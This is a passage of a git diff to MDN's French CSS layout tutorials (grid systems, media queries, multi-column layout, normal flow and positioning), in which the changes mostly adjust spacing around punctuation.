aussi [en direct](http://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid-calc.html)). > **Note :** Si vous n'arrivez pas à faire fonctionner ce qui précède, cela peut être dû au fait que votre navigateur ne prend pas en charge la fonction `calc()`, même si elle est assez bien prise en charge parmi les navigateurs — au‑delà de IE9. -### Systèmes de trames « sémantiques » vs. « non sémantiques » +### Systèmes de trames « sémantiques » vs. « non sémantiques » -Ajouter des classes au balisage pour définir une mise en page signifie que le contenu et le balisage sont liés à la présentation visuelle. Cette utilisation de classes CSS est parfois décrite comme étant « non sémantique » — montrant comment le contenu est disposé — par opposition à l'utilisation sémantique des classes qui décrit le contenu. C'est le cas de nos classes `span2`, `span3`, etc. +Ajouter des classes au balisage pour définir une mise en page signifie que le contenu et le balisage sont liés à la présentation visuelle. Cette utilisation de classes CSS est parfois décrite comme étant « non sémantique » — montrant comment le contenu est disposé — par opposition à l'utilisation sémantique des classes qui décrit le contenu. C'est le cas de nos classes `span2`, `span3`, etc. Ce n'est pas la seule approche. À la place, vous pouvez décider de la trame, puis ajouter les informations de taille aux règles des classes sémantiques existantes. Par exemple, si vous avez un élément {{htmlelement("div")}} de classe `content` que vous voulez développer sur huit colonnes, vous pouvez copier sur la largeur de la classe `span8`, ce qui vous donne une règle : @@ -406,7 +406,7 @@ Essayons. Démarrons avec le code précédent ou utilisons le fichier [fluid-grid.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid.html) comme point de départ. -Créons dans la CSS une classe qui décale un élément de conteneur d'une largaur de colonne. Ajoutons ce qui suit au bas de la CSS : +Créons dans la CSS une classe qui décale un élément de conteneur d'une largaur de colonne. Ajoutons ce qui suit au bas de la CSS : ```css .offset-by-one { @@ -414,7 +414,7 @@ Créons dans la CSS une classe qui décale un élément de conteneur d'une larga } ``` -Ou, si vous préférez calculer le pourcentage vous-même, utilisez : +Ou, si vous préférez calculer le pourcentage vous-même, utilisez : ```css .offset-by-one { @@ -422,25 +422,25 @@ Ou, si vous préférez calculer le pourcentage vous-même, utilisez : } ``` -Vous pouvez maintenant ajouter cette classe à tout conteneur pour lequel vous voulez laisser une colonne vide sur sa gauche. Par exemple, si vous avez ceci dans votre HTML : +Vous pouvez maintenant ajouter cette classe à tout conteneur pour lequel vous voulez laisser une colonne vide sur sa gauche. Par exemple, si vous avez ceci dans votre HTML : ```html <div class="col span6">14</div> ``` -remplacez‑le par : +remplacez‑le par : ```html <div class="col span5 offset-by-one">14</div> ``` -> **Note :** Notez que vous devez réduire le nombre de colonnes réparties pour faire de la place au décalage ! +> **Note :** Notez que vous devez réduire le nombre de colonnes réparties pour faire de la place au décalage ! -Chargez et actualisez pour voir la différence, ou bien vérifiez avec l'exemple [fluid-grid-offset.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid-offset.html) (voir aussi [l'exécution directement](http://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid-offset.html)). L'exemple terminé doit ressembler à ceci : +Chargez et actualisez pour voir la différence, ou bien vérifiez avec l'exemple [fluid-grid-offset.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/fluid-grid-offset.html) (voir aussi [l'exécution directement](http://mdn.github.io/learning-area/css/css-layout/grids/fluid-grid-offset.html)). L'exemple terminé doit ressembler à ceci :  -> **Note :** Comme exercice supplémentaire, pouvez‑vous implémenter une classe `offset-by-two` ? +> **Note :** Comme exercice supplémentaire, pouvez‑vous implémenter une classe `offset-by-two` ? ### Limitations des trames de boîtes flottantes @@ -450,11 +450,11 @@ N'oubliez pas non plus que si le contenu des éléments s'élargit au-delà des La plus grande limite de ce système est essentiellement son caractère unidimensionnel. Il s'agit de colonnes et de répartition d'éléments transversaux, mais pas de lignes. Il est très difficile avec ces anciennes méthodes de mise en page de contrôler la hauteur des éléments sans fixer explicitement une hauteur, et c'est aussi une approche très rigide — cela ne fonctionne que si vous pouvez garantir que le contenu est d'une hauteur donnée.. -## Trames Flexbox ? +## Trames Flexbox ? Si vous avez lu le précédent article à propors de Flexbox, vous pourriez penser que Flexbox est la solution idéale pour créer un système de trames. Il existe actuellement nombre de systèmes de grille fondés sur Flexbox et Flexbox peut résoudre beaucoup de problèmes mis en évidence lors de la création de notre trame ci-dessus. -Cependant, Flexbox n'a jamais été conçu comme système de trames : il conduit à un nouvel ensemble de défis lorsqu'il est utilisé comme tel. Comme simple exemple, prenons le même exemple que celui utilisé ci-dessus et utilisons la CSS suivante pour mettre en page les classes `wrapper`, `row` et `col` : +Cependant, Flexbox n'a jamais été conçu comme système de trames : il conduit à un nouvel ensemble de défis lorsqu'il est utilisé comme tel. Comme simple exemple, prenons le même exemple que celui utilisé ci-dessus et utilisons la CSS suivante pour mettre en page les classes `wrapper`, `row` et `col` : ```css body { @@ -481,11 +481,11 @@ body { } ``` -Faites ces remplacements dans votre exemple, ou regardez l'exemeple de code [flexbox-grid.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/flexbox-grid.html) (voir aussi en [exécution directe](http://mdn.github.io/learning-area/css/css-layout/grids/flexbox-grid.html)). +Faites ces remplacements dans votre exemple, ou regardez l'exemeple de code [flexbox-grid.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/flexbox-grid.html) (voir aussi en [exécution directe](http://mdn.github.io/learning-area/css/css-layout/grids/flexbox-grid.html)). -Ici, nous transformons chaque rangée en conteneur flexible. Avec une trame fondée sur Flexbox, nous avons encore besoin de rangées pour avoir des éléments tant que leur somme est inférieure à 100%. Nous avons réglé ce conteneur à `display : flex`. +Ici, nous transformons chaque rangée en conteneur flexible. Avec une trame fondée sur Flexbox, nous avons encore besoin de rangées pour avoir des éléments tant que leur somme est inférieure à 100%. Nous avons réglé ce conteneur à `display : flex`. -Pour `.col` nous fixons à 1 la première valeur ({{cssxref("flex-grow")}}) de la propriété {{cssxref("flex")}}, ainsi nos éléments peuvent s'élargir, la deuxième valeur ({{cssxref("flex-shrink")}}) à 1 également, ainsi les éléments peuvent s'étrécir, et la troisième valeur ({{cssxref("flex-basis")}}) à `auto`. Comme la valeur {{cssxref("width")}} de l'élément est fixée, `auto` utilisera cette valeur en tant que valeur de `flex-basis`. +Pour `.col` nous fixons à 1 la première valeur ({{cssxref("flex-grow")}}) de la propriété {{cssxref("flex")}}, ainsi nos éléments peuvent s'élargir, la deuxième valeur ({{cssxref("flex-shrink")}}) à 1 également, ainsi les éléments peuvent s'étrécir, et la troisième valeur ({{cssxref("flex-basis")}}) à `auto`. Comme la valeur {{cssxref("width")}} de l'élément est fixée, `auto` utilisera cette valeur en tant que valeur de `flex-basis`. Sur la ligne haute, nous disposons de douze boîtes nettes sur la trame et elle s'élargissent ou s'étrécissent de manière égale quand nous modifions la largeur de la vue. Sur la ligne suivante, toutefois, nous n'avons que quatre éléments et ceux-ci s'élargissent ou s'étrécissent à partir de la base de 60px. Avec seulement quatre d'entre eux ils peuvent s'élargir un peu plus que les éléments de la ligne au‑dessus, le résultat étant qu'ils occupent tous la même largeur sur la deuxième ligne. @@ -493,23 +493,23 @@ Sur la ligne haute, nous disposons de douze boîtes nettes sur la trame et elle Pour corriger cela, nous avons encore besoin d'inclure les classes `span` pour donner une largeur qui remplave la valeur donnée par `flex-basis` pour cet élément. -Également, ils ne respectent pas la trame utilisée par les éléments au‑dessus car ils ne « savent » rien à son propos. +Également, ils ne respectent pas la trame utilisée par les éléments au‑dessus car ils ne « savent » rien à son propos. -Flexbox est un design **mono-dimensionnel** par conception. Il compose avec une seule dimentsion, celle d'une ligne ou d'une colonne. Nous ne pouvons pas créer une trame stricte pour les colonnes **et** pour les lignes, ce qui signifie que si nous utilisons Flexbox pour une trame, nous devons encore calculer les pourcentages comme pour la disposition en boîtes flottantes. +Flexbox est un design **mono-dimensionnel** par conception. Il compose avec une seule dimentsion, celle d'une ligne ou d'une colonne. Nous ne pouvons pas créer une trame stricte pour les colonnes **et** pour les lignes, ce qui signifie que si nous utilisons Flexbox pour une trame, nous devons encore calculer les pourcentages comme pour la disposition en boîtes flottantes. -Dans votre projet, vous pouvez toujours choisir d'utiliser une « trame » Flexbox en raison des capacités d'alignement et de distribution de l'espace supplémentaires que Flexbox offre pour les boites flottantes. Mais sachez que vous utilisez encore un outil pour autre chose que ce pour quoi il a été conçu. Vous pouvez donc avoir l'impression d'être obligé de passer par un tas de circonvolutions pour obtenir le résultat final souhaité. +Dans votre projet, vous pouvez toujours choisir d'utiliser une « trame » Flexbox en raison des capacités d'alignement et de distribution de l'espace supplémentaires que Flexbox offre pour les boites flottantes. Mais sachez que vous utilisez encore un outil pour autre chose que ce pour quoi il a été conçu. Vous pouvez donc avoir l'impression d'être obligé de passer par un tas de circonvolutions pour obtenir le résultat final souhaité. ## Systèmes de trame tierces parties -Maintenant que nous avons compris la mathématique derrière les calculs de grille, nous sommes au bon endroit pour examiner certains des systèmes de trame tierces parties couramment utilisés. Si vous faite une recherche web pour « CSS Grid framework », vous vous trouverez devant une liste de choix énorme. Les canevas populaires tels que [Bootstrap](http://getbootstrap.com/) et [Foundation](http://foundation.zurb.com/) incluent un système de trame. Il existe également des systèmes de trames autonomes, développés soit à l'aide des CSS, soit à l'aide de préprocesseurs. +Maintenant que nous avons compris la mathématique derrière les calculs de grille, nous sommes au bon endroit pour examiner certains des systèmes de trame tierces parties couramment utilisés. Si vous faite une recherche web pour « CSS Grid framework », vous vous trouverez devant une liste de choix énorme. Les canevas populaires tels que [Bootstrap](http://getbootstrap.com/) et [Foundation](http://foundation.zurb.com/) incluent un système de trame. Il existe également des systèmes de trames autonomes, développés soit à l'aide des CSS, soit à l'aide de préprocesseurs. -Voyons un de ces systèmes autonomes : il montre les techniques courantes pour travailler dans un cadre de trames. La trame que nous allons utiliser fait partie de Skeleton, un simple canevas CSS. +Voyons un de ces systèmes autonomes : il montre les techniques courantes pour travailler dans un cadre de trames. La trame que nous allons utiliser fait partie de Skeleton, un simple canevas CSS. -Commençons par visiter le [site web de Skeleton](http://getskeleton.com/) et choisissons « Download » pour télécharger le fichier ZIP. Faisons l'extraction et copions les fichiers _skeleton.css_ et _normalize.css_ dans un nouveau répertoire. +Commençons par visiter le [site web de Skeleton](http://getskeleton.com/) et choisissons « Download » pour télécharger le fichier ZIP. Faisons l'extraction et copions les fichiers _skeleton.css_ et _normalize.css_ dans un nouveau répertoire. Faites une copie de [html-skeleton.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/html-skeleton.html) et enregistrez le dans le même répertoire que _skeleton.css_ et _normalize.css_. -Incorporez les .css _skeleton_ et _normalize_ dans la page HTML, en ajoutant ce qui suit dans `head` : +Incorporez les .css _skeleton_ et _normalize_ dans la page HTML, en ajoutant ce qui suit dans `head` : ```html <link href="normalize.css" rel="stylesheet"> @@ -520,7 +520,7 @@ Skeleton inclut plus qu'un système de grille — il contient aussi des CSS pour > **Note :** [Normalize](/fr/docs/) est une petite bibliothèque réellement utile écrite par Nicolas Gallagher, bibliothèque qui fait automatiquement quelques corrections sur les dispositions de base et rend le style des éléments par défaut plus conhérent entre les divers navigateurs. -Nous utiliserons un HTML similaire à celui de notre dernier exemple. Ajoutez ce qui suit dans le corps du HTML : +Nous utiliserons un HTML similaire à celui de notre dernier exemple. Ajoutez ce qui suit dans le corps du HTML : ```html <div class="container"> @@ -549,7 +549,7 @@ Nous utiliserons un HTML similaire à celui de notre dernier exemple. Ajoutez ce Pour commencer à utiliser Skeleton nous devons donner à l'élément enveloppe {{htmlelement("div")}} une classe `container` — elle est déjà comprise dans le HTML. Ceci centre le contenu avec une largeur maximale de 960 pixels. Vous pouvez voir que les boîtes ne deviennent plus jamais plus large que 960 pixels. -Regardez dans le fichier skeleton.css, vous verrez la CSS appliquée quand on se sert de cette classe. L'élément `<div>` est centré en utilisant la valeur `auto` pour les marges droite et gauche ; de plus, un remplissage de 20 pixels est appliqué à droite et à gauche. Skeleton fixe également la propriété {{cssxref("box-sizing")}} à la valeur `border-box` comme nous l'avions fait plu tôt et donc le remplissage et l'encadrement de cet élément seront inclus dans la largeur totale. +Regardez dans le fichier skeleton.css, vous verrez la CSS appliquée quand on se sert de cette classe. L'élément `<div>` est centré en utilisant la valeur `auto` pour les marges droite et gauche ; de plus, un remplissage de 20 pixels est appliqué à droite et à gauche. Skeleton fixe également la propriété {{cssxref("box-sizing")}} à la valeur `border-box` comme nous l'avions fait plu tôt et donc le remplissage et l'encadrement de cet élément seront inclus dans la largeur totale. ```css .container { @@ -566,7 +566,7 @@ Les éléments ne peuvent faire partie d'une trame que s'ils sont à l'intérieu Disposons maintenant les boîtes conteneur. Skeleton est fondé sur une trame de 12 colonnes. Les boîtes de la ligne supérieure nécessitent toutes des classes `one column` pour qu'elles se répartissent à raison de une par colonne. -Ajoutez maintenant cet extrait de lignes de code : +Ajoutez maintenant cet extrait de lignes de code : ```html <div class="container"> @@ -579,7 +579,7 @@ Ajoutez maintenant cet extrait de lignes de code : </div> ``` -Ensuite, indiquez les conteneurs sur la deuxième ligne en précisant le nombre de colonnes qu'ils englobent , ainsi : +Ensuite, indiquez les conteneurs sur la deuxième ligne en précisant le nombre de colonnes qu'ils englobent , ainsi : ```html <div class="row"> @@ -592,9 +592,9 @@ Ensuite, indiquez les conteneurs sur la deuxième ligne en précisant le nombre Enregistrez le fichier HTML et chargez‑le dans le navigateur pour voir ce que cela donne. -> **Note :** Si vous éprouvez des difficulatés à faire fonctionner cet exemple, comparez votre code avec le fichier [html-skeleton-finished.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/html-skeleton-finished.html) (à voir aussi [en exécution directe](http://mdn.github.io/learning-area/css/css-layout/grids/html-skeleton-finished.html)). +> **Note :** Si vous éprouvez des difficulatés à faire fonctionner cet exemple, comparez votre code avec le fichier [html-skeleton-finished.html](https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/html-skeleton-finished.html) (à voir aussi [en exécution directe](http://mdn.github.io/learning-area/css/css-layout/grids/html-skeleton-finished.html)). -Si vous regardez dans le fichier _skeleton.css_ vous verrez comment cela fonctionne. Par exemple, Skeleton prédéfinit ce qui suit pour styler des éléments de la classe « three columns » que l'on ajouterait. +Si vous regardez dans le fichier _skeleton.css_ vous verrez comment cela fonctionne. Par exemple, Skeleton prédéfinit ce qui suit pour styler des éléments de la classe « three columns » que l'on ajouterait. ```css .three.columns { width: 22%; } @@ -602,11 +602,11 @@ Si vous regardez dans le fichier _skeleton.css_ vous verrez comment cela fonctio Tout Skeleton (ou n'importe quel autre canevas) paramètre des classes prédéfinies qu'il est possible d'utiliser en les ajoutant à votre balisage. Vous avez fait exactement la même chose en calculant ces pourcentages vous même. -Comme vous le voyez, vous n'avez besoin d'écrire que peu de CSS en utilisant Skeleton. Il traite tout l'aspect boîte flottante pour vous quand vous ajoutez des classes à votre balisage. C'est la possibilité de gérer la responsabilité de la disposition sur quelque chose d'autre qui fait que l'utilisation d'un canevas pour un système de trames est un choix convaincan ! Toutefois, actuellement avec « CSS Grid Layout », nombre de développeurs délaissent ces canevas pour l'utilisation des trames natives intégrées que les CSS fournissent. +Comme vous le voyez, vous n'avez besoin d'écrire que peu de CSS en utilisant Skeleton. Il traite tout l'aspect boîte flottante pour vous quand vous ajoutez des classes à votre balisage. C'est la possibilité de gérer la responsabilité de la disposition sur quelque chose d'autre qui fait que l'utilisation d'un canevas pour un système de trames est un choix convaincan ! Toutefois, actuellement avec « CSS Grid Layout », nombre de développeurs délaissent ces canevas pour l'utilisation des trames natives intégrées que les CSS fournissent. ## Résumé -Vous savez maintenant comment les divers systèmes de trames sont créés. La connaissance de ces processus est utile dans le cadre d'un travail sur des sites anciens, ainsi que pour la compréhension des différences entre les trames natives de « CSS Grid Layout » et celles des anciens systèmes. +Vous savez maintenant comment les divers systèmes de trames sont créés. La connaissance de ces processus est utile dans le cadre d'un travail sur des sites anciens, ainsi que pour la compréhension des différences entre les trames natives de « CSS Grid Layout » et celles des anciens systèmes. {{PreviousMenuNext("Learn/CSS/CSS_layout/Multiple-Column_Layout", "Learn/CSS/CSS_layout/Supporting_Older_Browsers", "Learn/CSS/CSS_layout")}} diff --git a/files/fr/learn/css/css_layout/media_queries/index.md b/files/fr/learn/css/css_layout/media_queries/index.md index 6a9f08ddef..a34c9ecde9 100644 --- a/files/fr/learn/css/css_layout/media_queries/index.md +++ b/files/fr/learn/css/css_layout/media_queries/index.md @@ -126,7 +126,7 @@ A standard desktop view has a landscape orientation, and a design that works wel #### Use of pointing devices -As part of the Level 4 specification, the `hover` media feature was introduced. This feature means you can test if the user has the ability to hover over an element, which essentially means they are using some kind of pointing device; touchscreen and keyboard navigation does not hover. +As part of the Level 4 specification, the `hover` media feature was introduced. This feature means you can test if the user has the ability to hover over an element, which essentially means they are using some kind of pointing device; touchscreen and keyboard navigation does not hover. ```css @media (hover: hover) { @@ -140,7 +140,7 @@ As part of the Level 4 specification, the `hover` media feature was introduced. If we know the user cannot hover, we could display some interactive features by default. For users who can hover, we might choose to make them available when a link is hovered over. -Also in Level 4 is the `pointer` media feature. This takes three possible values, `none`, `fine` and `coarse`. A `fine` pointer is something like a mouse or trackpad. It enables the user to precisely target a small area. A `coarse` pointer is your finger on a touchscreen. The value `none` means the user has no pointing device; perhaps they are navigating with the keyboard only or with voice commands. +Also in Level 4 is the `pointer` media feature. This takes three possible values, `none`, `fine` and `coarse`. A `fine` pointer is something like a mouse or trackpad. It enables the user to precisely target a small area. A `coarse` pointer is your finger on a touchscreen. The value `none` means the user has no pointing device; perhaps they are navigating with the keyboard only or with voice commands. Using `pointer` can help you to design better interfaces that respond to the type of interaction a user is having with a screen. For example, you could create larger hit areas if you know that the user is interacting with the device as a touchscreen. @@ -196,7 +196,7 @@ In the early days of responsive design, many designers would attempt to target v There are now far too many devices, with a huge variety of sizes, to make that feasible. This means that instead of targetting specific sizes for all designs, a better approach is to change the design at the size where the content starts to break in some way. Perhaps the line lengths become far too long, or a boxed out sidebar gets squashed and hard to read. That's the point at which you want to use a media query to change the design to a better one for the space you have available. This approach means that it doesn't matter what the exact dimensions are of the device being used, every range is catered for. The points at which a media query is introduced are known as **breakpoints**. -The [Responsive Design Mode](/fr/docs/Tools/Responsive_Design_Mode) in Firefox DevTools is very useful for working out where these breakpoints should go. You can easily make the viewport smaller and larger to see where the content would be improved by adding a media query and tweaking the design. +The [Responsive Design Mode](/fr/docs/Tools/Responsive_Design_Mode) in Firefox DevTools is very useful for working out where these breakpoints should go. You can easily make the viewport smaller and larger to see where the content would be improved by adding a media query and tweaking the design.  @@ -208,7 +208,7 @@ The view for the very smallest devices is quite often a simple single column of The below walkthrough takes you through this approach with a very simple layout. In a production site you are likely to have more things to adjust within your media queries, however the approach would be exactly the same. -### Walkthrough: a simple mobile-first layout +### Walkthrough: a simple mobile-first layout Our starting point is an HTML document with some CSS applied to add background colors to the various parts of the layout. @@ -418,7 +418,7 @@ This could be achieved using the following: [Open the grid layout example](https://mdn.github.io/css-examples/learn/media-queries/grid.html) in the browser, or [view the source](https://github.com/mdn/css-examples/blob/master/learn/media-queries/grid.html). -With the example open in your browser, make the screen wider and narrower to see the number of column tracks change. The nice thing about this method is that grid is not looking at the viewport width, but the width it has available for this component. It might seem strange to wrap up a section about media queries with a suggestion that you might not need one at all! However, in practice you will find that good use of modern layout methods, enhanced with media queries, will give the best results. +With the example open in your browser, make the screen wider and narrower to see the number of column tracks change. The nice thing about this method is that grid is not looking at the viewport width, but the width it has available for this component. It might seem strange to wrap up a section about media queries with a suggestion that you might not need one at all! However, in practice you will find that good use of modern layout methods, enhanced with media queries, will give the best results. ## Test your skills! @@ -428,7 +428,7 @@ You've reached the end of this article, but can you remember the most important In this lesson you have learned about media queries, and also discovered how to use them in practice to create a mobile first responsive design. -You could use the starting point that we have created to test out more media queries. For example, perhaps you could change the size of the navigation if you detect that the visitor has a coarse pointer, using the `pointer` media feature. +You could use the starting point that we have created to test out more media queries. For example, perhaps you could change the size of the navigation if you detect that the visitor has a coarse pointer, using the `pointer` media feature. You could also experiment with adding different components and seeing whether the addition of a media query, or using a layout method like flexbox or grid is the most appropriate way to make the components responsive. Very often there is no right or wrong way — you should experiment and see which works best for your design and content. diff --git a/files/fr/learn/css/css_layout/multiple-column_layout/index.md b/files/fr/learn/css/css_layout/multiple-column_layout/index.md index b6e2cfb1ce..f72a899a0f 100644 --- a/files/fr/learn/css/css_layout/multiple-column_layout/index.md +++ b/files/fr/learn/css/css_layout/multiple-column_layout/index.md @@ -40,11 +40,11 @@ Une mise en page à colonnes multiples est une méthode de disposition du conten ## Un exemple élémentaire -Nous allons maintenant explorer la disposition du contenu sur plusieurs colonnes, souvent nommée « *multicol* ». Vous pourrez effectuer le suivi de cet article en [téléchargeant le fichier de depart multicol](https://github.com/mdn/learning-area/blob/master/css/css-layout/multicol/0-starting-point.html) et en ajoutant la CSS aux emplacements appropriés. En fin de section, vous verrez un exemple en direct de ce à quoi le code final peut ressembler. +Nous allons maintenant explorer la disposition du contenu sur plusieurs colonnes, souvent nommée « *multicol* ». Vous pourrez effectuer le suivi de cet article en [téléchargeant le fichier de depart multicol](https://github.com/mdn/learning-area/blob/master/css/css-layout/multicol/0-starting-point.html) et en ajoutant la CSS aux emplacements appropriés. En fin de section, vous verrez un exemple en direct de ce à quoi le code final peut ressembler. -Notre point de départ contient un HTML très simple ; une enveloppe de la classe `container` dans laquelle nous avons placé un en‑tête et quelques paragraphes. +Notre point de départ contient un HTML très simple ; une enveloppe de la classe `container` dans laquelle nous avons placé un en‑tête et quelques paragraphes. -L'élément {{htmlelement("div")}} de la classe `container` sera notre conteneur multi‑colonnes. Nous basculons dans une disposition _multicol_ en utilisant l'une des deux propriétés {{cssxref("column-count")}} ou {{cssxref("column-width")}}. La propriété `column-count` crée autant de colonnes que la valeur indiquée, donc si vous ajoutez la CSS suivante et actalisez la page, vous obtiendrez une disposition sur trois colonnes : +L'élément {{htmlelement("div")}} de la classe `container` sera notre conteneur multi‑colonnes. Nous basculons dans une disposition _multicol_ en utilisant l'une des deux propriétés {{cssxref("column-count")}} ou {{cssxref("column-width")}}. La propriété `column-count` crée autant de colonnes que la valeur indiquée, donc si vous ajoutez la CSS suivante et actalisez la page, vous obtiendrez une disposition sur trois colonnes : ```css .container { @@ -125,21 +125,21 @@ body { ## Style des colonnes -Les colonnes créées avec _multicol_ ne peuvent pas être stylisées individuellement. Il n'y a aucun moyen de faire en sorte qu'une colonne soit plus large qu'une autre, ou de modifier l'arrière‑plan ou la couleur du texte d'une seule colonne. Il y a deux moyens de modifier l'affichage des colonnes : +Les colonnes créées avec _multicol_ ne peuvent pas être stylisées individuellement. Il n'y a aucun moyen de faire en sorte qu'une colonne soit plus large qu'une autre, ou de modifier l'arrière‑plan ou la couleur du texte d'une seule colonne. Il y a deux moyens de modifier l'affichage des colonnes : - modifier la taille de l'espacement entre colonnes avec {{cssxref("column-gap")}}. - ajouter une règle entre colonnes avec {{cssxref("column-rule")}}. -En utilisant l'exemple ci‑dessus, changeons la taille de l'espacement entre colonnes avec la propriété `column-gap` : +En utilisant l'exemple ci‑dessus, changeons la taille de l'espacement entre colonnes avec la propriété `column-gap` : ```css .container { - column-width: 200px; + column-width: 200px; column-gap: 20px; } ``` -Vous pouvez tester diverses valeurs — la propriété accepte n'importe quelle unité de longueur. Ajoutons maintenant une règle entre colonnes avec `column-rule`. De la même manière qu'avec la propriété {{cssxref("border")}} rencontrée dans les articles précédents, `column-rule`, forme abrégée de {{cssxref("column-rule-color")}}, {{cssxref("column-rule-style")}} et {{cssxref("column-rule-width")}}, accepte les mêmes valeurs. +Vous pouvez tester diverses valeurs — la propriété accepte n'importe quelle unité de longueur. Ajoutons maintenant une règle entre colonnes avec `column-rule`. De la même manière qu'avec la propriété {{cssxref("border")}} rencontrée dans les articles précédents, `column-rule`, forme abrégée de {{cssxref("column-rule-color")}}, {{cssxref("column-rule-style")}} et {{cssxref("column-rule-width")}}, accepte les mêmes valeurs. ```css .container { @@ -184,7 +184,7 @@ body { {{ EmbedLiveSample('Style_des_colonnes', '100%', 400) }} -Notez que la règle ne prend pas de largeur en soi. Elle se place dans l'espace créé avec `column-gap`. Pour faire un peu plus d'espace d'un côté ou de l'autre de la règle, vous devez augmenter la taille de l'espace entre les colonnes. +Notez que la règle ne prend pas de largeur en soi. Elle se place dans l'espace créé avec `column-gap`. Pour faire un peu plus d'espace d'un côté ou de l'autre de la règle, vous devez augmenter la taille de l'espace entre les colonnes. ## Colonnes et coupures diff --git a/files/fr/learn/css/css_layout/normal_flow/index.md b/files/fr/learn/css/css_layout/normal_flow/index.md index 95ee411f27..cf504e4cd8 100644 --- a/files/fr/learn/css/css_layout/normal_flow/index.md +++ b/files/fr/learn/css/css_layout/normal_flow/index.md @@ -13,7 +13,7 @@ Cet article décrit le déroulement normal, c'est-à-dire la façon dont les él <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Les fondamentaux du HTML (étudiez <a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML" @@ -24,7 +24,7 @@ Cet article décrit le déroulement normal, c'est-à-dire la façon dont les él </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td> Expliquer comment les navigateurs composent les pages web par défaut, avant que nous commencions à faire des modifications. @@ -76,14 +76,14 @@ Voici un exemple simple expliquant cela : la même ligne. Les débordements des éléments inline <span>sont placés sur une nouvelle ligne si possible (comme celle‑ci contenant du texte)</span>, sinon ils - sont placés sur une nouvelle ligne, comme cette image : + sont placés sur une nouvelle ligne, comme cette image : <img src="long.jpg"></p> ``` ```css body { - width: 500px; - margin: 0 auto; + width: 500px; + margin: 0 auto; } p { diff --git a/files/fr/learn/css/css_layout/positioning/index.md b/files/fr/learn/css/css_layout/positioning/index.md index ac76b555e7..f092148b0a 100644 --- a/files/fr/learn/css/css_layout/positioning/index.md +++ b/files/fr/learn/css/css_layout/positioning/index.md @@ -48,9 +48,9 @@ Le positionnement permet de modifier le cours classique de la mise en page pour Il y a différents types de positionnement que vous pouvez appliquer à des éléments HTML. Pour utiliser un type particulier de positionnement sur un élément, nous utilisons la propriété {{cssxref("position")}}. -### Positionnement « static » +### Positionnement « static » -Le positionnement `static` est celui reçu par défaut par chaque élément — cela veut tout simplement dire « positionner l'élément selon le cours normal de placement — rien de spécial à voir ici ». +Le positionnement `static` est celui reçu par défaut par chaque élément — cela veut tout simplement dire « positionner l'élément selon le cours normal de placement — rien de spécial à voir ici ». Pour le démontrer et avoir préparer un premier exemple pour les prochaines sections, ajoutez tout d'abord une classe `positioned` pour le deuxième {{htmlelement("p")}} dans le HTML: @@ -70,19 +70,19 @@ Si maintenant vous sauvegardez et actualisez, vous verrez qu'il n'y a aucune dif > **Note :** ce lien [`1_static-positioning.html`](http://mdn.github.io/learning-area/css/css-layout/positioning/1_static-positioning.html) ([voir le code source](https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/1_static-positioning.html)) pointe sur un exemple de positionnement « static ». -### Positionnement « relative » +### Positionnement « relative » -Le positionnement relatif est le premier type de positionnement que nous allons étudier. Il est très similaire au positionnement statique. Cependant, une fois que l'élément positionné occupe une place dans le cours normal de la mise en page, vous pourrez modifier sa position finale. Vous pourrez par exemple le faire chevaucher d'autres éléments de la page. Poursuivons : mettez à jour la déclaration de `position` dans le code : +Le positionnement relatif est le premier type de positionnement que nous allons étudier. Il est très similaire au positionnement statique. Cependant, une fois que l'élément positionné occupe une place dans le cours normal de la mise en page, vous pourrez modifier sa position finale. Vous pourrez par exemple le faire chevaucher d'autres éléments de la page. Poursuivons : mettez à jour la déclaration de `position` dans le code : ```css position: relative; ``` -Si vous sauvegardez et actualisez à ce stade, vous ne verrez aucun changement dans le résultat. Alors, comment modifier la position de l'élément ? Vous avez besoin d'employer les propriétés {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}} et {{cssxref("right")}} dont nous parlerons dans le prochain paragraphe. +Si vous sauvegardez et actualisez à ce stade, vous ne verrez aucun changement dans le résultat. Alors, comment modifier la position de l'élément ? Vous avez besoin d'employer les propriétés {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}} et {{cssxref("right")}} dont nous parlerons dans le prochain paragraphe. ### Présentation de top, bottom, left et right -{{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}} et {{cssxref("right")}} sont utilisés conjointement à {{cssxref("position")}} pour définir exactement là où placer l'élément positionné. Pour le tester, ajoutez les déclarations suivantes à la règle `.positioned` dans la CSS : +{{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}} et {{cssxref("right")}} sont utilisés conjointement à {{cssxref("position")}} pour définir exactement là où placer l'élément positionné. Pour le tester, ajoutez les déclarations suivantes à la règle `.positioned` dans la CSS : top: 30px; left: 30px; @@ -96,13 +96,13 @@ Si vous enregistrez et actualisez maintenant, vous verrez ce résultat : <p>Je suis élément de base de niveau bloc. Les éléments de niveau de bloc adjacents se trouvent sur de nouvelles lignes en dessous de moi.</p> <p class="positioned">Par défaut, je couvre 100% de la largeur de mon élément parent et je suis aussi haut que mon contenu enfant. Mes largeur et hauteur totales sont égales aux largeur et hauteur du contenu, plus celles du remplissage, plus celles de l'encadrement.</p> <p>Entre éléments adjacents, nous sommes séparés par nos marges. En raison de la fusion des marges, nous sommes séparés par la largeur de la plus grande de nos marges, et non par la somme des deux.</p> -<p>Les éléments « inline » <span>comme celui-ci </span>ou <span>cet autre</span> sont sur une même ligne que les nœuds de texte adjacents, s'il y a de la place sur la même ligne. Les éléments « inline » débordants <span>se replient, si possible, sur une nouvelle ligne — comme celle-ci contenant du texte</span> ; sinon, ils passent simplement à une nouvelle ligne, un peu comme cette image le fait : <img src="long.jpg"></p> +<p>Les éléments « inline » <span>comme celui-ci 